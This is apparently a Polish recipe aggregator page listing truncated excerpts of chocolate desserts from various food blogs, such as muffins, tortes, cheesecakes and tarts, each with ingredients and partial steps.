Składniki: 1 puszka ciecierzycy 2 łyżki masła orzechowego 2-3 łyżki syropu z agawy 4 łyżki mąki owsianej 1/2 łyżeczki proszku do pieczenia szczypta soli 1/3 szklanki pokrojonej gorzkiej czekolady Wykonanie: Ciecierzycę odsączyć i przepłukać. Przesypać do misy blendera, dodać masło orzechowe oraz syrop z agawy i zmiksować do gładkiej konsystencji. Dodać mąkę, proszek do pieczenia oraz sól i ponownie(...)zmiksować. Na koniec wsypać pokrojoną czekoladę i wymieszać. Przełożyć masę do naczynia lub formy wyłożonej papierem do pieczenia. Piec w 180 ºC  przez około 20 minut (aż wierzch się zarumieni

Healthy food explorer
Czekoladowe muffinki owsiane z orzechami 154

ksylitolu 1 duże jajko 3 dojrzałe banany 3 łyżki roztopionego oleju kokosowego 1/3 szklanki mleka (u mnie roślinne) 1/3 szklanki posiekanych orzechów (u mnie włoskie) 1/3 szklanki pokrojonej gorzkiej czekolady Wykonanie: Piekarnik nagrzać do 180ºC. Płatki owsiane zmiksować przez chwilkę w blenderze (wystarczy kilka pulsów, nie muszą być drobne jak mąka). Przesypać do miski, dodać mąkę owsianą, kakao, proszek(...)blenderze umieścić banany, jajko, ksylitol oraz olej i zblendować na gładką masę. Przelać do miski z suchymi składnikami, wlać mleko i wymieszać. Na koniec dodać posiekane orzechy i czekoladę i wymieszać do połączenia się składników. Przełożyć do foremek na muffinki (do około 2/3 wysokości) i piec przez około 25 minut

Healthy food explorer
Wuzetka 508

masła (2 łyżki) Składniki na masę śmietanową: 800 ml śmietany kremówki 2 łyżki żelatyny 3 łyżki cukru pudru Składniki na polewę czekoladową: 150 ml śmietany kremówki 100 g gorzkiej czekolady 1 łyżeczka żelatyny 1 łyżka masła + dżem do przełożenia, nalepiej dosyć kwaśny – idealnie czarna porzeczka lub śliwka (choć ja tym razem zaszalałam i zrobiłam z domowym jagodowym(...)szpatułką. Przykrywamy drugim blatem ciasta i nasączamy ponczem. Ciasto przykrywamy i wstawiamy do lodówki, w międzyczasie przygotowujemy polewę. Śmietanę kremówkę zagotowujemy, ściągamy z kuchenki, dodajemy pokrojoną na drobne kawałki czekoladę i żelatynę. Mieszamy do całkowitego rozpuszczenia. Dodajemy masło. Jeszcze ciepłą polewę wylewamy na ciasto i wyrównujemy szptałułką. Całość przykrywamy i wkładamy do lodówki na minimum 1 godzinę. Ciasto może zostać

Ciastkozercy
Domowe ciasteczka a’la Pieguski 120

razu „sama” sięga po kolejne;) 200 g masła 1 szkl. cukru 1 jajko 2,5 szkl. mąki 1/2 łyżeczki soli morskiej 1 łyżeczka sody dodatkowo: gorzka czekolada, różnego rodzaju orzechy, rodzynki, słupki migdałowe – jednym słowem wszystko to, na co macie ochotę Miękkie masło ucieramy z cukrem na puszystą masę. Dodajemy jajko i ucieramy dalej. Następnie przesiewamy mąkę(...)sodę i sól i miksujemy aż do połączenia. Do powstałej masy dodajemy pokrojoną na kawałki czekoladę lub też dropsy czekoladowe, pokrojone grubo orzechy lub inne dodatki. Po wymieszaniu formujemy z masy kuleczki wielkości orzecha włoskiego i układamy na blaszce wyłożonej papierem do pieczenia, zachowując dosyć duże odstępy. Pieczemy około 10-15 minut w piekarniku nagrzanym do 200 stopni

Smaki Na Talerzu
Brownie z owocami leśnymi 174

zatop zęby z bezkresnej czekoladowości ciasta i owocowości dodatków...najlepiej z gałką waniliowych lodów ^^ Niech będzie pysznie i wakacyjnie w poniedziałek! :) Brownie z owocami leśnymi Potrzebujesz: 2 tabliczki gorzkiej czekolady 100g masła 4 jajka 1/2 szklanki mąki 3/4 szklanki cukru garść truskawek garść malin garść borówki amerykańskiej Sposób przyrządzenia: 1. Czekoladę i masło roztop w kąpieli wodnej - odstaw do lekkiego

Kuchnia w Słońcu Skąpana
Babka serowa 117

maki pszennej(2 szklanki) 250 g białego sera 200 g masła 200 g cukru 8 g proszku do pieczenia( 2 łyżeczki) aromat śmietankowy 4 jajka polewa 100 g czekolady deserowej 30 g masła Ser mielimy na maszynce. Miękkie masło ucieramy z cukrem. Dodaję partiami mielony ser. Dodaje po jednym jajku cały czas miksując. Dodaje przesianą mąkę wraz z proszkiem(...)pieczenia oraz aromat śmietankowy. Całość miksuję do połączenia się składników. Formę keksową smaruję masłem i obsypuję bułką tartą. Wlewam ciasto. Ciasto piekę około 60 minut w 170 stopniach . Studzę. Czekoladę wraz z masłem rozpuszczam. Polewam wystudzone ciasto. Smacznego! Źródło: https://przepisyjoli.com/2017/03/babka-serowa/

Ciasta z tradycjami
CIASTECZKA Z CIECIERZYCY 126

puszki ½ szklanki masła orzechowego 3-4 łyżki   syropu z agawy lub innego słodzidła 1 niepełna łyżeczka sody oczyszczonej szczypta soli 1 łyżeczka ekstraktu waniliowego dodatkowo posiekana gorzka czekolada, słupki migdałowe Wykonanie: wszystkie składniki   wkładamy do miski czyli ciecierzycę ( wcześniej opłukaną) ,masło orzechowe, syrop z agawy, sodę, sól oraz ekstrakt  z wanilii i blędujemy do uzyskania gładkiej masy(...)nakładamy ciasto na blaszkę wyłożoną papierem do pieczenia, spłaszczamy tak aby uzyskać ciasteczka około 0,7-05mm ( mi lepiej smakują ciasteczka spłaszczone) , na wierzch każdego dodajemy posiekaną gorzka czekoladę oraz słupki migdałowe ciasteczka pieczemy w piekarniku nagrzanym do 180°C około 15-20 minut, można trochę dłużej , do chwili aż się zarumienią i nie będą się rozwalały   przy

Słodkie zapomnienie
Czekowiśnia. Konfitura wiśniowo-czekoladowa 174

Połączenie wiśni z czekoladą zawsze doskonale się sprawdza. Konfitura wiśniowo-czekoladowa jest tego najlepszym przykładem. Nie za słodka, z lekką, kwaskową nutą i do tego z czekoladą. Jeśli jeszcze nie jedliście czekowiśni to nie macie pojęcia jakie pyszności Was ominęły! Musicie to nadrobić! ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Muffinki orkiszowe z malinami, jagodami i czekoladą 134

łyżki kakao 1 łyżeczka proszku do pieczenia szczypta soli 2 jajka 80 ml oleju 10 łyżek cukru 150 ml zaparzonej kawy (letniej) 1 łyżeczka cukru waniliowego 50 g gorzkiej czekolady 100 g jagód 200 g malin W jednej misce łączymy ze sobą składniki suche, tj. : oba rodzaje mąki, kakao, cukier, cukier waniliowy, proszek do pieczenia oraz sól. W drugiej misce(...)mieszamy ze sobą składniki mokre, tj. : jajka, olej oraz kawę. Mokre składniki dodajemy do suchych i mieszamy za pomocą łyżki na gładkie ciasto. Gorzką czekoladę siekamy na kawałki i dodajemy do ciasta. Wsypujemy również połowę owoców. Delikatnie mieszamy. Formę na muffinki wykładamy papilotkami i napełniamy je gotowym ciastem do 2/3 wysokości. Na wierzch muffinek wykładamy pozostałe owoce. Babeczki pieczemy około

My simple kitchen
Tarta z wiśniami 183

świeżych wiśni 0,5 szklanki cukru 3 łyżki mąki ziemniaczanej 2 łyżeczki cukru waniliowego 3/4 szklanki wody Składniki na krem śmietankowy: 250 g mascarpone 330 ml śmietany kremówki + gorzka czekolada i wiśnie do dekoracji Tarta z wiśniami – jak to zrobić? W misce mieszamy razem wszystkie suche składniki na spód, dodajemy jajko i miękkie masło. Zagniatamy rękami do uzyskania jednolitej(...)ciasta możecie dodać też cukier puder. Miksujemy aż śmietana i serek się połączą, a cały krem będzie miał sztywną konsystencję. Przekładamy na schłodzoną tartę, wyrównujemy szpatułką. Ozdabiamy roztopioną ciemną czekoladą i wiśniami. Podajemy schłodzone. Smacznego! Po więcej słodkich zdjęć zapraszam na mój Instagram :) Post Tarta z wiśniami pojawił się poraz pierwszy w CIASTKOŻERCY

Ciastkozercy
Tiramisu z czereśniami 115

jajka, w temperaturze pokojowej 4 łyżki cukru 250 gramów mascarpone 300 ml mocnej, zaparzonej kawy (espresso)- lakko wystudzonej 125 ml likieru amaretto (mozna pominąć) biszkopty 2 łyżki kakao gorzka czekolada 2 garście czereśni (lubn inne owoce: maliny, borówki amerykańskie) Ż ółtka oddzielić od białek. Białka ubić na sztywno z dodatkiem odrobiny soli. Odstawić na bok. W dużej misce zmiksować żółtka(...)kakao. Ułożyć kolejną warstwę nasączonych biszkoptów, potem znów owoce i krem. Całość posypać kakao. Schłodzić w lodówce przez kilka godzin lub całą noc. Przed podaniem deser udekorować wiórkami gorzkiej czekolady i kilkoma owocami. Smacznego! Artykuł Tiramisu z czereśniami pochodzi z serwisu Olalacooking.com

olalacooking
Ciasto jeżynowe z musem czekoladowym 158

łyżki kakao 4 łyżeczki żelatyny (20 g) 400 g jogurtu greckiego 3 łyżki miodu płynnego naturalnego 330 ml śmietany 30% 1 opakowanie cukru waniliowego Dekoracja: starta gorzka i biała czekolada, jeżyny WYKONANIE Biszkopt: Wszystkie składniki powinny być w temperaturze pokojowej. Formę tortową o średnicy 27 cm wyłożyć papierem do pieczenia. Piekarnik rozgrzać do temperatury 180 ° C. Jajka ubić ze szczyptą(...)jeżynami (najlepiej oblepić w tym celu boki ciasta folią aluminiową). Włożyć ponownie do lodówki na kilka godzin lub do stężenia masy czekoladowej. Wierzch ciasta udekorować startą białą i gorzką czekoladą, opcjonalnie jeżynami

Passions hobbies life
Ciasto herbaciane z bakaliami i czekoladą 135

mnie rzepakowy) ▸ 2 łyżki herbaty+2 szklanki gorącej wody ▸ pół szklanki orzechów (u mnie włoskie) ▸ 400 g suszonych owoców (morele, żurawina, śliwka wedle uznania) polewa ▸ pół tabliczki gorzkiej czekolady ▸ łyżka masła ▸ 3 łyżki mleka  Przygotowanie: 1. Suszone owoce zalewamy wrzątkiem na 5 minut. Odcedzamy i siekamy drobno. Orzechy również kroimy drobno. 2. Herbatę zalewamy wrzątkiem i parzymy chwile. Posiekane(...)ubijamy białka na sztywno i mieszamy wszystko razem delikatnie. 4. Formę 20 cm wykładamy papierem do pieczenia i wlewamy masę. Pieczemy 50 minut 180 stopni (do suchego patyczka) 5. Czekoladę rozpuszczamy z masłem, dodajemy mleko i mieszamy, aby nie było grudek. Polewamy ostudzone ciasto i wedle uznania ozdabiamy.  (adsbygoogle = window.adsbygoogle || []).push

Zdrowie i pysznie na talerzu
ciasto czekoladowe z wiśniami 170

Wiśnie i czekolada to jedno z tych połączeń idealnych, którym naprawdę trudno się oprzeć. Na stronie MC znalazłam przepis na wspaniałe, wilgotne ciasto czekoladowe z wiśniami i czekoladową polewą. Jest bardzo aromatyczne, w smaku zbliżone do brownie, a wiśnie doskonale komponują się ze smakiem czekolady. Jeśli więc lubicie takie połączenia, to bardzo Wam to ciasto polecam. składniki: 1 1/2 szklanki

babka w formie
Tort czekoladowo truskawkowy 245

innego utrwalacza do bitej śmietany +truskawki do dekoracji, białe wytrawne wino na poncz lub dowolna owocowa herbata jeśli tort będą jadły dzieci, 1 łyżka kakao, 50 g gorzkiej czekolady, 1 łyżeczka oleju kokosowego Jak zrobić tort czekoladowo truskawkowy? Biszkopt przygotowujemy według przepisu . Można upiec go poprzedniego dnia, żeby miał dużo czasu na ostygnięcie. Truskawki myjemy i odkładamy na ściereczkę(...)nakładamy pierwszą warstwę kremu. Truskawki kroimy na plasterki i układamy na kremie. Powtarzamy z pozostałymi spodami. Nakładamy na tort cienką warstwę kremu, która ma za zadanie złapanie wszystkich okruszków. Czekoladę rozpuszczamy w kąpieli wodnej i dodajemy 1 łyżeczkę oleju kokosowego – dzięki temu polewa ma idealną konsystencję i ładnie zastyga. Na tort nakładamy drugą warstwę kremu. Gotową polewę czekoladową przekładamy

Ciastkozercy
Słodkie kostki w czekoladzie :) 158

schemat chciałam troszkę zmienić i stworzyłam coś innego, a mianowicie kostki. Bardzo proste połączenie głównych składników, których jest niewiele, bo zaledwie trzy. Całość natomiast wieńczy cienka powłoczka płynnej czekolady. Coś pysznego!  Składniki (4 kostki). 50 g daktyli  50 g suszonej morwy  (użyłam The Raw Chocolate) 50 g masła z pistacji (użyłam Ostrovit) - można użyć każdego innego(...)lodówki, aby się lekko schłodziły.  Kolejno przygotuj polewę czekoladową. Rozpuść wszystkie składniki w kąpieli wodnej do momentu powstania w miarę gładkiej konsystencji.  Każdą kostkę zamocz w płynnej czekoladzie, a następnie schładzaj w lodówce do momentu stężenia, ok. 1 godzina

Zdrowie na języku :P
Tort malinowy 193

polewę malinową: 100 ml musu malinowego 2 łyżki galaretki malinowej +1 kg malin – na mus do nasączenia, do przełożenia ciasta i na dekorację, limonka lub cytryna, gorzka czekolada do dekoracji (u mnie malinowa) Jak zrobić tort malinowy? Biszkopty pieczemy według przepisu . Można zrobić to dzień wcześniej, żeby miały dużo czasu na ostygnięcie. Maliny myjemy i odkładamy na ściereczkę, żeby(...)Zagotowujemy, wyłączamy ogień i dodajemy galaretkę, mieszamy, aż galaretka zupełnie się rozpuści. Odstawiamy całość do przestudzenia. Schłodzony tort dekorujemy zostawionym wcześniej kremem, polewą malinową, świeżymi malinami i kostkami gorzkiej czekolady. Smacznego! Po więcej słodkich zdjęć zapraszam na mój Instagram :) Post Tort malinowy pojawił się poraz pierwszy w CIASTKOŻERCY

Ciastkozercy
Lody miętowe z płatkami czekolady 130

jajka • szczypta soli • 4 łyżki cukru • ok. 50 listków mięty dokładnie zmiksowanych lub drobno posiekanych • 3 łyżki likieru barmańskiego miętowego • 3 łyżki płatków czekoladowych z gorzkiej czekolady Serek mascarpone wsadzić do zamrażalki na ok 20 min. Jajka dokładnie umyć i sparzyć wrzątkiem. Żółtka oddzielić od białek. Kremówkę ubić na sztywno. Żółtka ubić na parze z cukrem do momentu uzyskania gęstej(...)dalej postępujemy wg instrukcji. Pod sam koniec mieszania dodajemy płatki czekoladowe. Całość przelewamy do pojemnika i zamrażamy. Można w trakcie mrożenia przemieszać 2-3 razy w celu uniknięcia opadania czekolady i mięty na dno pojemnika. Lody można również przygotować bez użycia maszyny. W tym celu przelewamy je do pojemnika w którym będziemy je zamrażać pamiętając o tym by kilkakrotnie podczas

KUCHNIA POLSKA
Tarta z budyniem i truskawkami na daktylowym spodzie 130

nasion słonecznika  ▸ 2 łyżki oleju kokosowego rozpuszczonego masa ▸  2 budynie waniliowe ▸ 1 galaretka cytrynowa ▸ 750 ml mleka  ▸ 400 g truskawek (na zdjęcie mniej) ▸ gorzka czekolada Przygotowanie: 1.  Wszystkie składniki na spód wrzucamy do melaksera i miksujemy do połączenia składników. Ma być gęsta masa do lepienia. Wylepiamy nią spód tarty i wstawiamy do lodówki na 3 godziny(...)wsypujemy budynie i gdy lekko masa zgęstnieje, dosypujemy galaretkę. Energicznie mieszamy, aby nie powstały grudki. 3. Lekko ostygniętą masę budyniową układamy na stężały spód, wciskamy truskawki i posypujemy starą czekoladą. Wstawiamy do lodówki najlepiej na całą noc do stężenia.  Zapraszam również po przepis na TARTĘ Z KREMEM O SMAKU MANGO I KOKOSA LINK  (adsbygoogle = window.adsbygoogle || []).push

Zdrowie i pysznie na talerzu
Ciasto czekoladowe lekko ciągnące 186

śmietana i słodkie truskawki to świetny dodatek do niemalże każdego ciasta. Ciasto czekoladowe Składniki: foremka 15 cm x 25 cm 50 g masła 50 ml oleju 50 g gorzkiej czekolady, 70 % kakao 2 duże jajka 200 g cukru 80 g muscovado cukru 1 łyżeczka waniliowego ekstraktu 150 g mąki 4 łyżki kakao 2 łyżeczki proszku do pieczenia ¼ łyżeczki soli(...)podania 250 ml śmietanki kremówki 200 g truskawek 1 łyżka cukru pudru Nastaw piekarnik na 150ºC bez termoobiegu. Rozpuść masło z czekoladą, po czym dodaj olej i wymieszaj. Zmiksuj jajka z solą, cukrem i muscovado. Wlej czekoladową mieszankę i zmiksuj krótko. W drugim naczyniu wymieszaj mąkę z kakao i proszkiem do pieczenia. Dodaj suche składniki do czekoladowej masy i wymieszaj

codojedzenia
TORT RAFAELLO 185

połowy cytryny 2 łyżki wody z mleka kokosowego Dodatkowo: dżem np. pomarańczowy, brzoskwiniowy, morelowy, mango lub inny koloru pomarańczowego ( ja dałam o smaku marakuja-mango) 100 g białej czekolady czekoladowe ażurki lub coś innego do dekoracji wiórki kokosowe Wykonanie: Biszkopt: Pierwszy biszkopt wykonujemy z połowy podanych składników. I- część: mieszamy mikserem Białka oddzielamy od żółtek. Białka wlewamy do miski, dodajemy(...)przykrywamy trzecim. Trzeci blat nasączamy ponczem, wykładamy ok. 1/3 masy kokosowej i przykrywamy ostatnim blatem biszkoptowym. Na wierzchu i po bokach tortu rozsmarowujemy pozostałą część masy kokosowej. Białą czekoladę rozpuszczamy w kąpieli wodnej, czekamy aż lekko wystygnie ( ale żeby nie zastygła) i polewamy nią tort. Na końcu obsypujemy wiórkami kokosowymi i dekorujemy według upodobania. Tort wkładamy do lodówki. P.S. Przepis

Kuchnia MagdaLeny
Charlotte z truskawkami – ciasto bez pieczenia 411

dodać jeszcze jagód, malin i jadalnych kwiatów, prezentowałaby się jeszcze piękniej. Charlotte z truskawkami – ciasto bez pieczenia: 500 g truskawek 500 ml śmietanki kremówki 30% 100 g białej czekolady (1 tabliczka) 300-350 g jogurtu greckiego 4-6 łyżek cukru pudru 4 lekko czubate łyżeczki żelatyny ok. 250-300 g podłużnych biszkoptów herbata owocowa – do nasączenia do dekoracji(...)słodkości owoców). Zestawiamy z ognia. Chwilę mieszamy, aby syrop nie był wrzący i dodajmy napęczniałą żelatynę. Mieszamy do rozpuszczenia się. Następnie do masy dodajemy połamaną na kostki białą czekoladę i ponownie mieszamy, aż całkowicie się rozpuści. Odstawiamy do przestudzenia. W tym czasie przygotowujemy tortownicę (22-24 cm) – jej dno wykładamy papierem do pieczenia (kawałek papieru kładziemy na dno, zaciskamy

Poezja smaku
Tartaletki z kremem czekoladowym i truskawkami (Crostatine con crema al cioccolato e fragole) 145

pszennej   120 g masła 100 g cukru 1 jajko 1 łyżka zimnej wody szczypta soli Krem czekoladowy 200 g gorzkiej czekolady 125 g śmietany 30% 35 g masła Dekoracja truskawki listki mięty   **** INGREDIENTI Pasta frolla 250 g di farina 120 g di burro 100 g di zucchero 1 uovo 1 cucchiaio di acqua fredda(...)Infornate le crostatine in forno preriscaldato a 190 gradi per circa 10 minuti. Krem czekoladowy W międzyczasie przygotowujemy krem. W garnuszku zagotowujemy śmietanę. Dodajemy kawałki czekolady, dokładnie mieszając. Na koniec dodajemy miękkie masło. Krem miksujemy na jednolit ą  masę. Schładzamy w lod ó wce ok. 1 godziny.  **** Crema al cioccolato In una pentola

La grande e la piccola cuoca
Murzynek 184

szklanki mąki 1 szklanka cukru 1 kostka margaryny (250 g) 3 łyżeczki proszku 2 łyżki kakao 1/2 szklanki mleka +dżem do przełożenia ciasta lub wiśnie ze słoika, 1 tabliczka czekolady na polewę Murzynek – jak to zrobić? Margarynę rozpuszczamy na małym ogniu z mlekiem i kakao, odstawiamy do przestudzenia. Mąkę mieszamy z proszkiem do pieczenia. Jajka rozdzielamy na żółtka(...)piekarniku rozgrzanym na 180 stopni. Jeśli przekładamy ciasto dżemem musimy zaczekać aż zupełnie się ostudzi, żeby dało się je ładnie przekroić. Na koniec dekorujemy murzynka polewą czekoladową – rozpuszczamy czekoladę w kąpieli wodnej w razie potrzeby dodając odrobinę mleka lub śmietany kremówki. Smacznego! Po więcej słodkich zdjęć zapraszam na mój Instagram :) Post Murzynek pojawił się poraz pierwszy w CIASTKOŻERCY

Ciastkozercy
Mufinki czekoladowe 149

mąki 2 łyżeczki proszku do pieczenia 0,5 szkl. cukru 2 łyżeczki cukru waniliowego 2 łyżki kakao 1 jajko 0,5 szkl. oleju 1 szkl. mleka 1/2 tabliczki gorzkiej czekolady Suche składniki wymieszać w jednej misce,a  w w drugiej mokre, następnie połączyć i wymieszać łyżką do połączenia się składników.Dodać pokrojoną w małe kawałki czekoladę.Nastawić piekarnik

Moje domowe kucharzenie
SERNIK BEZCUKROWY, SŁODZONY MIODEM NA KAKAOWYM SPODZIE A'LA BROWNIE Z POLEWĄ Z GORZKIEJ CZEKOLADY 108

miski i miksujemy tylko do ich połączenia, dzięki temu nie jest nazbyt napowietrzony, więc nam nie opadnie. Czekoladowy spód zrobiłam na wzór brownie, ale  troszeczkę go odchudziłam, zamiast czekolady użyłam kakao, a masło zastąpiłam olejem kokosowym. Polewa to roztopiona gorzka czekolada z miodem i olejem kokosowym. Idealna propozycja na wielkanocny stół. SKŁADNIKI NA SPÓD: 4  łyżki oleju kokosowego

Upiecz sobie babeczkę
muffinki z czekoladą 111

wypieku używać nazwy muffinka czy babeczka.....ok. podaję  składniki  :) * 2 szklanki mąki pszennej * 1/2 szklanki cukru * cukier waniliowy * 1,5 łyżeczki proszku do pieczenia * 3 łyżki kakao * czekolada * 1/2 szklanki oleju * 1 szklanka maślanki, kefiru lub jogurtu naturalnego * 2 jajka Mąkę, kakao i proszek do pieczenia przesiać . Dodać pozostałe składniki i porządnie wymieszać. Czekoladę pokruszyć i połączyć

Pieprzyć z Fantazją
Ciasto "Pijak" 193

opakowanie) 30 g mąki pszennej(3 łyżki) 20 g mąki ziemniaczanej(2 łyżki) nasączenie 120 g ciepłej wody 50 ml wiśniówki dodatkowo 200 g dżemu wiśniowego 100 g czekolady 100 g okrągłych biszkoptów 50 g masła Ciasto 1 :  Żółtka oddzielić od białek. Białka ubić na sztywno stopniowo dosypując cukier. Następnie pojedynczo dodawać po jednym żółtku. Do masy dodać przesianą(...)dżem wiśniowy. Następnie rozsmarować 1/2 kremu budyniowego. Na kremie ułożyć biszkopt kokosowo-makowy(ciasto 2). Na biszkopcie ponownie 1/2 kremu budyniowego. Na kremie układamy nasączone w pączu biszkopty okrągłe. Czekoladę rozpuszczamy wraz z masłem. Polewamy ciasto. Smacznego

Ciasta z tradycjami
Batoniki z granoli 140

dużych batoników forma 28 x 33 x 3 cm: - ok. 1.200 g granoli ( TU przepis na domową ) - 180 g uprażonych orzechów laskowych - 90 g amartantusa ekspandowanego - 400 g białej czekolady - 340 g Candy Buttons (dałam różowe) - 200 g białych chipsów czekoladowych - 360 g masła orzechowego - ok. 75 ml ciemnego rumu (opcjonalnie) Granolę miksujemy, jednak tylko na tyle, aby pozostały większe(...)kawałki. Candy Buttons, chipsy czekoladowe, pokrojoną białą czekoladę oraz masło orzechowe rozpuszczamy w misce na parze. Do rozpuszczonej masy dodajemy porcjami granolę, posiekane orzechy laskowe, amarantus, za każdym razem mieszając składniki. Masę przekładamy do formy wyłożonej papierem do pieczenia. Równamy powierzchnię, posypujemy amaratnusem i przykrywamy papierem do pieczenia. Obciążamy, np. butelkami z wodą. Pozostawiamy na 1 – 2 godziny, następnie

mojewypiekiinietylko
Ciasto 3 Bit 507

śmietany kremówki 2 śmietanfixy 2 opakowania budyniu waniliowego 3 szklanki mleka 2 łyżki cukru 1 łyżka cukru pudru 1 kostka masła 200 g 50 g startej czekolady do posypania Dno blaszki wykładamy herbatnikami, u mnie zmieściły się 3 rzędy po 6 i pół ciastka w każdym. Na herbatniki wylewamy kajmak i rozsmarowujemy. Na warstwę kajmaku nakładamy herbatniki. 2 opakowania budyniu(...)ubijamy na sztywno dodając pod koniec 2 śmietanfixy wymieszane z 1 łyżką cukru pudru. Masę śmietanową wykładamy na blaszkę, rozsmarowujemy i przykrywamy warstwą herbatników. Wierzch posypujemy startą na tarce czekoladą. Ciasto dokładnie przykrywamy i wstawiamy do lodówki. U mnie pierwsza degustacja wypadła jakieś 24 godziny później, przy okazji robienia finalnych zdjęć. Po kolejnym dniu w lodówce herbatniki zupełnie zmiękły

Ciastkozercy
Wegański budyń jaglany | bezglutenowy, bez laktozy, bez cukru | 148

siebie.  Składniki na 2 porcje: 1/4 szkl. kaszy jaglanej 1/2 banana 1 łyżeczka masła orzechowego 1 szkl. mleka bez laktozy (lub roślinnego w wersji vegan) 4 kostki gorzkiej czekolady + 4 łyżki mleka bez laktozy (lub roślinnego w wersji vegan) + 1 łyżeczka ksylitolu/cukru/miodu Garść prażonych, pokruszonych orzeszków ziemnych Przygotowanie: Kaszę jaglaną płuczemy 3 razy w ciepłej wodzie. Gotujemy na małym(...)ogniu w szklance mleka, do momentu aż zostanie minimalna ilość mleka ponad poziom kaszy. Studzimy kaszę. Blendujemy na gładką masę z masłem orzechowym i bananem. Przekładamy do pucharków. Czekoladę rozpuszczamy w rondelku z mlekiem i słodzidłem. Polewamy budyń i posypujemy orzeszkami

Czarnawisienka
Kociołek meksykański – długi weekend 186

łyżka- zwykła , papryki łagodnej 1 czubata łyżka , mielonego kuminu 1 łyżeczka , czubata cynamonu 1 łyżeczka , mielonych ziaren kolendry 2 łyżki cukru sól do smaku dodatkowo : 2 paski gorzkiej czekolady , 70 – 80 % ( w meksyku , często dodaje się ją do gulaszy lub chilli ) Mięso kroimy w grubą kostkę ( żeby się nie rozpadło, podczas duszenia ) , marynujemy w połowie przypraw ( drugą połowę, zostawiamy(...)kostkę ,posiekane chilli , kukurydzę odsączoną z zalewy , fasolę czerwoną , odsączoną i przepłukaną pod bierzacą wodą ,żeby nie zabarwiła dania na szaro . Całość doprawiamy resztą wyciśniętego czosnku , oraz przypraw , dodajemy czekoladę , mieszamy , szczelnie nakrywamy i dusimy około 30-40 minut . Co jakiś czas zaglądajcie i zamieszajcie , żeby się nie przypaliło i zbytnio nie odparował sos , w razie potrzeby można dolać trochę

Ogrodnik w podróży
Ciasto czekoladowo-bananowe 130

wielkości, lekko dojrzałe banany 3 łyżki jogurtu naturalnego (100 g) 50 g oleju kokosowego 4/5 szklanki mąki kokosowej (100 g) 1/4 szklanki cukru trzcinowego (80 g) 1/2 tabliczki gorzkiej czekolady (50 g) 2 jajka 1 łyżeczka proszku do pieczenia 1 łyżeczka cukru z wanilią 3 łyżki kakao szczypta soli + ewentualnie 1/3 szklanki mleka Banany zmiksować za pomocą blendera. Olej kokosowy(...)zblendowane banany. Składniki połączyć ze sobą. Na sam koniec wsypać partiami mąkę kokosową wymieszaną z cukrem z wanilią oraz proszkiem do pieczenia oraz wsypać kakao i dodać pokruszoną czekoladę. Delikatnie i dokładnie wymieszać. Jeśli masa będzie zbyt gęsta to należy dolać mleka i całość ponownie wymieszać. Przygotowane ciasto przelać do keksówki wyłożonej papierem do pieczenia. Piec około 45-60 minut

Ugotować
Krucha czekoladowa tarta z gruszkami 183

dobrego to jak zwykle „malizna” Składniki na spód: 250 g mąki pszennej 80 g zimnego oleju kokosowego 1 banan szczypta soli Składniki na masę: 1 tabliczka gorzkiej czekolady 200 g gęstego mleka kokosowego z puszki 4-5 gruszek sok z połowy cytryny Przygotowanie spodu/kruchego ciasta: Na duży blat przesiej mąkę, dodaj szczyptę soli, zimny olej kokosowy oraz banana(...)możesz dodać kilka goździków. Gotuj ma małym ogniu 5 minut po czy delikatnie obróć na drugą stronę i gotuje drugie 5 minut. Przygotowanie masy czekoladowej: W kąpieli wodnej rozpuść czekoladę razem z mlekiem kokosowym. Na podpieczony i lekko wystudzony spód przelej masę czekoladową, a na wierzchu ułóż owoce. Piecz 30 minut w temp. 160-170 C.   Smacznego

greenscarf
Sernik krówkowy bez pieczenia 3985

domowego cukru waniliowego 24g (6 łyżeczek) żelatyny 100ml wody biszkopty na spód (u mnie około 70g) 2-3 łyżki masy krówkowej, 1 łyżeczka masła i 2-3 kostki gorzkiej czekolady do dekoracji Wykonanie: - tortownicę wyłożyć na dnie papierem do pieczenia, wyjmując go poza obręcz - do boku formy przykleić za pomocą masła pasek z papieru do pieczenia - na dno formy wyłożyć(...)masło podgrzać w kąpieli wodnej, aż stanie się bardziej płynna, zdjąć na blat, lekko przestudzić - lejącą się masą krówkową udekorować wierzch sernika, robiąc na nim esy floresy - zimną gorzką czekoladę zetrzeć, posypać nią wierzch sernika - całość ponownie schłodzić, przechowywać w lodówce

Smakołyki Bereniki
Ciasto cappuccino 127

łyżki żelatyny Pianka śmietankowa: 500 ml śmietanki kremówki 36% 4 łyżki cukru pudru 4 łyżeczki żelatyny Dodatkowo: 3 łyżeczki kawy rozpuszczone w około 100 ml gorącej wody gorzka czekolada do dekoracji Wymiary formy 33 cm x 24 cm Przygotowania rozpoczynamy od biszkoptu. Rozdzielamy żółtka od białek. Białka ubijamy na sztywną pianę. Do ubitych białek dodajemy ŁYŻKA PO ŁYŻCE (to bardzo(...)cukier puder. Następnie dodajemy wystudzoną żelatynę i dokładnie mieszamy. Ciasto delikatnie pączujemy kawą i smarujemy dokładnie pianką cappuccino, przykrywamy drugim blatem ciasta, który pokrywamy pianką śmietankową. Całość posypujemy tartą czekoladą i pozostawiamy do schłodzenia. Smacznego Artykuł Ciasto cappuccino pochodzi z serwisu PatiGotuje

PatiGotuje
CIASTO 7 DAYS – Z ROGALIKAMI 343

esencja waniliowa – 1 łyżka KREM ŚMIETANKOWY: * śmietana 36% – 600 ml * żelatyna – 2 pełne łyżki * cukier puder – 2 łyżki * wrząca woda – 1/3 szkl POLEWA CZEKOLADOWA: * czekolada mleczna – 150 g * mleko – 3 łyżki * masło min. 82% – 100 g DODATKOWO: * rogaliki 7 days mini szampańskie – 2 op SPOSÓB PRZYRZĄDZENIA: BISZKOPT KAKAOWY: Białka ubijamy(...)słodką herbatą, wykładamy krem czekoladowy, układamy rogaliki ( jeden przy drugim, ułożone w tę samą stronę ). Przykrywamy kremem śmietankowym oraz drugim blatem biszkoptowym, delikatnie dociskamy. Polewamy rozpuszczoną w kąpieli wodnej czekoladą z masłem oraz mlekiem. Chłodzimy przez noc. Smacznego

Ostra na Słodko
Kopciuszek wg Siostry Anastazji 560

